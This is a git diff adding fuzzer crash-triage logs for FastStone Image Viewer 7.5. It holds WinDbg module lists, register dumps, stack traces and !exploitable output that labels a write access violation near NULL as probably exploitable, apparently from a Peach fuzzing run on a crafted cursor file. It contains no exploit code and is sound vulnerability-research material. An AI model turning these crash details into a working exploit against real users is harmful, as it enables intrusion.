00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`743e9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743f0000 00000000`749f4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1d00.fe8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ed7b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.477965600000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.5815e+030 -2.65317e-028 -2.03707e+014 -1.70346e-022 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003c7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003c7000 e78f8fa8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003c7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ecb707f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..eec4aa8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..5280a89 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1860: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1860: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1860.e38): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07fe7b19 edx=00000000 esi=00000000 edi=0fc6efd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.788897797823939680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-9.80512e-016 -2.24991e-015 -1.30083e-012 -1.15438e-035 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080c8130 08045930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00361000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00361000 82fc4ae1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00361000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..5280a89 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1860: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1860: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 